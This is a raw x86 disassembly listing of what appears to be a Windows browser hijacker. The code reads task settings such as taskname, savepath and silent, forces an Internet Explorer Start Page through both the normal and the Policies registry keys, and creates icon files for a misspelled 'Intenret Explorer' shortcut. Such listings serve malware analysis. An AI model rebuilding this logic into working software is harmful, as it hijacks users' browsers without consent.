call fcn.0040f960
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x450b67
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x570]
call fcn.004108d0
lea ecx, [ebp - 0x494]
call fcn.004052f0
lea edx, [ebp - 0x494]
mov byte [ebp - 4], 0x80
mov ecx, 0x10
call fcn.00413450
push 0x590678
lea ecx, [ebp - 0x47c]
call fcn.00406750
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0x81
push eax
lea eax, [ebp - 0x47c]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x83
call fcn.00407270
push 0x58f760
lea ecx, [ebp - 0x510]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x84
push eax
lea eax, [ebp - 0x510]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov edi, eax
push 0
push str.Intenret_Explorer
push 0
push 0
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x85
call fcn.0040f960
push eax
lea ecx, [ebp - 0x4c8]
call fcn.0040f960
push eax
lea ecx, [ebp - 0x494]
call fcn.0040f960
push eax
mov ecx, edi
call fcn.0040f960
push eax
mov ecx, esi
call fcn.00456140
lea ecx, [ebp - 0x6bc]
call fcn.00407320
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407320
lea ecx, [ebp - 0x494]
call fcn.00407320
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x75
call fcn.00407320
push 0
push 0x58f760
push 0
mov ecx, esi
call fcn.0044e7c0
test eax, eax
je 0x450dcd
lea ecx, [ebp - 0x570]
call fcn.004052f0
push 0x58f760
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x86
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x87
push eax
lea eax, [ebp - 0x4c8]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x89
call fcn.00407270
lea eax, [ebp - 0x570]
mov edx, str.SoftwareMicrosoftInternet_ExplorerMain
push eax
push str.Start_Page
mov ecx, SysReAllocStringLen
call fcn.00417280
add esp, 8
mov ecx, esi
push 2
push str.Option
call fcn.0043b1e0
test eax, eax
je 0x450db7
lea ecx, [ebp - 0x494]
call fcn.0040f960
push eax
lea ecx, [ebp - 0x570]
call fcn.0040f960
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x450db7
lea ecx, [ebp - 0x494]
call fcn.0040f970
mov edi, eax
lea ecx, [ebp - 0x494]
add edi, edi
push edi
call fcn.0040f960
push eax
push str.Start_Page
mov edx, str.SoftwareMicrosoftInternet_ExplorerMain
mov ecx, SysReAllocStringLen
call fcn.00417260
add esp, 0xc
lea ecx, [ebp - 0x494]
push edi
call fcn.0040f960
push eax
push str.Start_Page
mov edx, str.SoftwareMicrosoftInternet_ExplorerMain
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00417260
add esp, 0xc
lea ecx, [ebp - 0x494]
push edi
call fcn.0040f960
push eax
push str.Start_Page
mov edx, str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00417260
add esp, 0xc
lea ecx, [ebp - 0x494]
call fcn.00407320
lea ecx, [ebp - 0x570]
call fcn.00407320
lea ecx, [ebp - 0x448]
call fcn.00407320
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x4a8]
call fcn.00407520
jmp 0x450eba
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x448]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x8a
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x8b
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x8c
call fcn.00406750
push 1
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0x8d
push eax
lea eax, [ebp - 0x510]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x4c8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x528]
mov byte [ebp - 4], 0x40
call fcn.00407270
cmp dword [esi + 0x9fc], 0xc8
je 0x450f0a
mov ecx, esi
call fcn.0044a130
test eax, eax
je 0x452d64
cmp dword [esi + 0x9fc], 0x190
jne 0x452d64
push 0x17
push str.Option
mov ecx, esi
call fcn.0043b1e0
test eax, eax
je 0x452d64
push 0xc
lea ecx, [ebp - 0x564]
call fcn.00454db0
lea ecx, [ebp - 0x564]
call fcn.00456740
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x494]
push str.Tasks
mov dword [ebp - 0x42c], 0
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x8f
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x90
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437b10
cmp dword [ebp - 0x42c], eax
lea ecx, [ebp - 0x448]
setl bl
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x8e
call fcn.00407270
test bl, bl
je 0x452746
nop dword [eax]
push str.taskidstr
lea ecx, [ebp - 0x510]
call fcn.00406750
push str.Tasks
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x91
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x92
call fcn.00406750
lea eax, [ebp - 0x528]
mov byte [ebp - 4], 0x93
push eax
lea eax, [ebp - 0x510]
mov ecx, 0x5ba9b8
push eax
push dword [ebp - 0x42c]
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x4c8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x97
call fcn.00407270
push dword [ebp - 0x42c]
mov ecx, esi
push str.silent
push 2
call fcn.0044d8a0
test eax, eax
je 0x451353
push str.checked
lea ecx, [ebp - 0x494]
call fcn.00406750
push str.Tasks
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x98
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x99
call fcn.00406750
push 1
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x9a
push eax
push dword [ebp - 0x42c]
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x97
call fcn.00407270
push str.selected
lea ecx, [ebp - 0x494]
call fcn.00406750
push str.Tasks
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x9b
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x9c
call fcn.00406750
push 1
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x9d
push eax
push dword [ebp - 0x42c]
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x97
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x540]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x9e
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x9f
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xa0
call fcn.00406750
push 1
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0xa1
push eax
lea eax, [ebp - 0x494]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x494]
call fcn.00407270
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x97
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x494]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0xa2
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xa3
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0xa4
call fcn.00406750
push 0
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0xa5
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4f8]
push eax
lea eax, [ebp - 0x540]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x97
call fcn.00407270
push str.Tasks
lea ecx, [ebp - 0x4e0]
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0xa6
call fcn.00406750
mov byte [ebp - 4], 0xa7
lea eax, [ebp - 0x4e0]
push dword [ebp - 0x42c]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x540]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004025c0
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0xaa
call fcn.00407270
push str.skip
lea ecx, [ebp - 0x6bc]
call fcn.00406750
mov byte [ebp - 4], 0xab
lea eax, [ebp - 0x6bc]
mov ebx, dword [ebp - 0x424]
lea ecx, [ebp - 0x4a8]
or ebx, 0x10
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.00437e40
test al, al
je 0x45164b
push str.checked
lea ecx, [ebp - 0x464]
call fcn.00406750
lea eax, [ebp - 0x464]
mov dword [ebp - 4], 0xac
or ebx, 0x20
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.00437e40
test al, al
je 0x45164b
push str.selected
lea ecx, [ebp - 0x6d4]
call fcn.00406750
lea eax, [ebp - 0x6d4]
mov dword [ebp - 4], 0xad
or ebx, 0x40
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.00437e40
test al, al
je 0x45164b
push str.skip
lea ecx, [ebp - 0x494]
call fcn.00406750
lea eax, [ebp - 0x494]
mov dword [ebp - 4], 0xae
or ebx, 0x80
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437f60
test al, al
jne 0x45164b
push str.checked
lea ecx, [ebp - 0x448]
call fcn.00406750
lea eax, [ebp - 0x448]
mov dword [ebp - 4], 0xaf
or ebx, 0x100
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437f60
test al, al
jne 0x45164b
push str.selected
lea ecx, [ebp - 0x4f8]
call fcn.00406750
lea eax, [ebp - 0x4f8]
mov dword [ebp - 4], 0xb0
or ebx, 0x200
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437f60
test al, al
jne 0x45164b
push str.skip
lea ecx, [ebp - 0x510]
call fcn.00406750
lea eax, [ebp - 0x510]
mov dword [ebp - 4], 0xb1
or ebx, 0x400
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00404790
cmp al, 1
je 0x45164b
push str.checked
lea ecx, [ebp - 0x47c]
call fcn.00406750
lea eax, [ebp - 0x47c]
mov dword [ebp - 4], 0xb2
or ebx, 0x800
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00404790
test al, al
je 0x45164b
push str.selected
lea ecx, [ebp - 0x4c8]
call fcn.00406750
lea eax, [ebp - 0x4c8]
mov dword [ebp - 4], 0xb3
or ebx, 0x1000
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00404790
mov byte [ebp - 0x6a1], 0
test al, al
jne 0x451652
mov byte [ebp - 0x6a1], 1
test ebx, 0x1000
je 0x451671
and ebx, 0xffffefff
lea ecx, [ebp - 0x4c8]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x800
je 0x451690
and ebx, 0xfffff7ff
lea ecx, [ebp - 0x47c]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x400
je 0x4516af
and ebx, 0xfffffbff
lea ecx, [ebp - 0x510]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x200
je 0x4516ce
and ebx, 0xfffffdff
lea ecx, [ebp - 0x4f8]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x100
je 0x4516ed
and ebx, 0xfffffeff
lea ecx, [ebp - 0x448]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test bl, bl
jns 0x451708
and ebx, 0xffffff7f
lea ecx, [ebp - 0x494]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test bl, 0x40
je 0x451721
and ebx, 0xffffffbf
lea ecx, [ebp - 0x6d4]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test bl, 0x20
je 0x45173a
and ebx, 0xffffffdf
lea ecx, [ebp - 0x464]
mov dword [ebp - 0x424], ebx
call fcn.00407270
mov dword [ebp - 4], 0xaa
test bl, 0x10
je 0x45175a
and ebx, 0xffffffef
lea ecx, [ebp - 0x6bc]
mov dword [ebp - 0x424], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
jne 0x4526ad
push dword [ebp - 0x42c]
mov ecx, esi
push str.checked
push 2
call fcn.0044d8a0
test eax, eax
je 0x4526ad
push str.tasktype
lea ecx, [ebp - 0x6d4]
call fcn.00406750
lea eax, [ebp - 0x6d4]
mov byte [ebp - 4], 0xb4
or ebx, 0x2000
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
cmp eax, 3
je 0x45184e
push str.tasktype
lea ecx, [ebp - 0x464]
call fcn.00406750
lea eax, [ebp - 0x464]
mov dword [ebp - 4], 0xb5
or ebx, 0x4000
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
cmp eax, 2
je 0x45184e
push str.tasktype
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov dword [ebp - 4], 0xb6
or ebx, 0x8000
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
mov byte [ebp - 0x6a1], 0
cmp eax, 4
jne 0x451855
mov byte [ebp - 0x6a1], 1
test ebx, 0x8000
je 0x45186e
lea ecx, [ebp - 0x6bc]
and ebx, 0xffff7fff
call fcn.00407270
test ebx, 0x4000
je 0x451887
lea ecx, [ebp - 0x464]
and ebx, 0xffffbfff
call fcn.00407270
mov dword [ebp - 4], 0xaa
lea ecx, [ebp - 0x6d4]
and ebx, 0xffffdfff
mov dword [ebp - 0x424], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
mov dword [ebp - 0x44c], ebx
je 0x4525e6
push 4
push str.General
mov ecx, esi
call fcn.0043b1e0
mov dword [ebp - 0x430], eax
test eax, eax
je 0x4518fb
lea eax, [ebp - 0x5c0]
mov ecx, esi
push eax
push dword [ebp - 0x42c]
push 2
call fcn.0044ae40
lea eax, [ebp - 0x5c0]
push eax
mov eax, dword [esi + 0xac8]
call eax
mov dword [ebp - 0x430], eax
push str.tasktype
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0xb7
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xaa
mov edi, eax
call fcn.00407270
cmp edi, 3
jne 0x451a26
mov ebx, dword [ebp - 0x430]
test ebx, ebx
jne 0x452312
push 0x1b
push str.Option
mov ecx, esi
call fcn.0043b1e0
test eax, eax
je 0x4519dd
lea ecx, [ebp - 0x5c0]
call fcn.00439e10
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0xb8
call fcn.00439f40
push str.taskid
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0xb9
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xb8
mov edi, eax
call fcn.00407270
lea ecx, [ebp - 0x5c0]
call fcn.00439ed0
mov edx, eax
mov ecx, edi
call fcn.00417120
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0xaa
call fcn.00401ee0
lea eax, [ebp - 0x42c]
push eax
push esi
lea ecx, [ebp - 0x6e8]
call fcn.00454d10
push eax
lea eax, [ebp - 0x6e0]
mov ecx, 0x5ba9c8
push eax
call fcn.0045a7b0
push eax
lea ecx, [ebp - 0x564]
mov byte [ebp - 4], 0xba
call fcn.00454d30
lea ecx, [ebp - 0x6e0]
mov byte [ebp - 4], 0xaa
call fcn.004385e0
jmp 0x45230a
push str.tasktype
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0xbb
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xaa
mov edi, eax
call fcn.00407270
cmp edi, 2
jne 0x452455
lea ecx, [ebp - 0x494]
call fcn.004052f0
lea ecx, [ebp - 0x448]
call fcn.004052f0
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0xbd
push eax
push 0x58bc94
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsIEXPLORE.EXE
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00417280
add esp, 8
lea ecx, [esi + 0x580]
call fcn.0040f960
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x451c0d
push str.taskname
lea ecx, [ebp - 0x6d4]
call fcn.00406750
lea eax, [ebp - 0x510]
mov byte [ebp - 4], 0xbe
push eax
lea eax, [ebp - 0x6d4]
or ebx, 0x10000
push eax
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov dword [ebp - 4], 0xbf
mov ecx, eax
mov ebx, dword [ebp - 0x44c]
or ebx, 0x30000
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0x44c], ebx
call fcn.0040f970
test eax, eax
je 0x451c0d
push str.savepath
lea ecx, [ebp - 0x464]
call fcn.00406750
lea eax, [ebp - 0x47c]
mov dword [ebp - 4], 0xc0
push eax
lea eax, [ebp - 0x464]
or ebx, 0x40000
push eax
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov dword [ebp - 4], 0xc1
mov ecx, eax
mov ebx, dword [ebp - 0x44c]
or ebx, 0xc0000
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0x44c], ebx
call fcn.0040f970
test eax, eax
je 0x451c0d
push 0x590690
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x4c8]
mov dword [ebp - 4], 0xc2
push eax
lea eax, [ebp - 0x6bc]
or ebx, 0x100000
push eax
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ebx, dword [ebp - 0x44c]
mov ecx, eax
or ebx, 0x300000
mov dword [ebp - 0x424], ebx
call fcn.0040f970
mov byte [ebp - 0x6a1], 1
test eax, eax
jne 0x451c14
mov byte [ebp - 0x6a1], 0
test ebx, 0x200000
je 0x451c33
and ebx, 0xffdfffff
lea ecx, [ebp - 0x4c8]
mov dword [ebp - 0x424], ebx
call fcn.00407320
test ebx, 0x100000
je 0x451c52
and ebx, 0xffefffff
lea ecx, [ebp - 0x6bc]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x80000
je 0x451c71
and ebx, 0xfff7ffff
lea ecx, [ebp - 0x47c]
mov dword [ebp - 0x424], ebx
call fcn.00407320
test ebx, 0x40000
je 0x451c90
and ebx, 0xfffbffff
lea ecx, [ebp - 0x464]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x20000
je 0x451caf
and ebx, 0xfffdffff
lea ecx, [ebp - 0x510]
mov dword [ebp - 0x424], ebx
call fcn.00407320
mov dword [ebp - 4], 0xbd
test ebx, 0x10000
je 0x451cd5
and ebx, 0xfffeffff
lea ecx, [ebp - 0x6d4]
mov dword [ebp - 0x424], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
je 0x451faa
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.00521a60
add esp, 0xc
lea ecx, [ebp - 0x464]
push str.savepath
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0xc3
or ebx, 0x400000
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0x44c], ebx
call fcn.00437e40
test al, al
je 0x451d95
push str.savepath
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6d4]
mov dword [ebp - 4], 0xc4
push eax
lea eax, [ebp - 0x6bc]
or ebx, 0x800000
push eax
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ebx, dword [ebp - 0x44c]
mov ecx, eax
or ebx, 0x1800000
call fcn.0040f970
mov byte [ebp - 0x6a1], 1
test eax, eax
jne 0x451d9c
mov byte [ebp - 0x6a1], 0
test ebx, 0x1000000
je 0x451db5
lea ecx, [ebp - 0x6d4]
and ebx, 0xfeffffff
call fcn.00407320
test ebx, 0x800000
je 0x451dce
lea ecx, [ebp - 0x6bc]
and ebx, 0xff7fffff
call fcn.00407270
mov dword [ebp - 4], 0xbd
lea ecx, [ebp - 0x464]
and ebx, 0xffbfffff
mov dword [ebp - 0x424], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
lea ecx, [ebp - 0x6bc]
je 0x451e66
push str.savepath
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0xc5
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ecx, eax
call fcn.0040f960
push eax
lea ecx, [esi + 0x580]
call fcn.0040f960
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea ecx, [ebp - 0x464]
call fcn.00407320
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xbd
call fcn.00407270
jmp 0x451ee1
push str.taskname
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0xc6
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ecx, eax
call fcn.0040f960
push eax
lea ecx, [esi + 0x580]
call fcn.0040f960
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea ecx, [ebp - 0x464]
call fcn.00407320
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xbd
call fcn.00407270
push str..ico
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea eax, [ebp - 0x218]
push eax
call edi
test eax, eax
jne 0x451f89
lea ecx, [ebp - 0x5c0]
call fcn.0047ee60
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0xc7
push eax
lea ecx, [ebp - 0x5c0]
call fcn.0047f540
push 0x590690
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0xc8
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ecx, eax
mov byte [ebp - 4], 0xc9
call fcn.0040f960
push eax
lea ecx, [ebp - 0x5c0]
call fcn.0047f580
lea ecx, [ebp - 0x464]
call fcn.00407320
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0xbd
call fcn.0047eeb0
lea eax, [ebp - 0x218]
push eax
call edi
test eax, eax
je 0x451fb0
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x494]
call fcn.004108a0
jmp 0x451fb0
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea ecx, [ebp - 0x494]
call fcn.0040f970
test eax, eax
jne 0x451fd1
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x494]
call fcn.004108d0
lea ecx, [ebp - 0x494]
call fcn.0040f960
push eax
call edi
test eax, eax
jne 0x4520c9
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Error
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xca
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xcb
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xcc
call fcn.00406750
push 1
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0xcd
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407320
lea ecx, [ebp - 0x494]
call fcn.00407320
jmp 0x4526ad
cmp dword [ebp - 0x430], 0
jne 0x4522ea
lea ecx, [ebp - 0x4f8]
call fcn.004052f0
lea edx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xce
mov ecx, 0x10
call fcn.00413450
push str.taskname
lea ecx, [ebp - 0x464]
call fcn.00406750
push 0x58f760
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xcf
call fcn.00406750
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0xd0
push eax
lea eax, [ebp - 0x464]
push eax
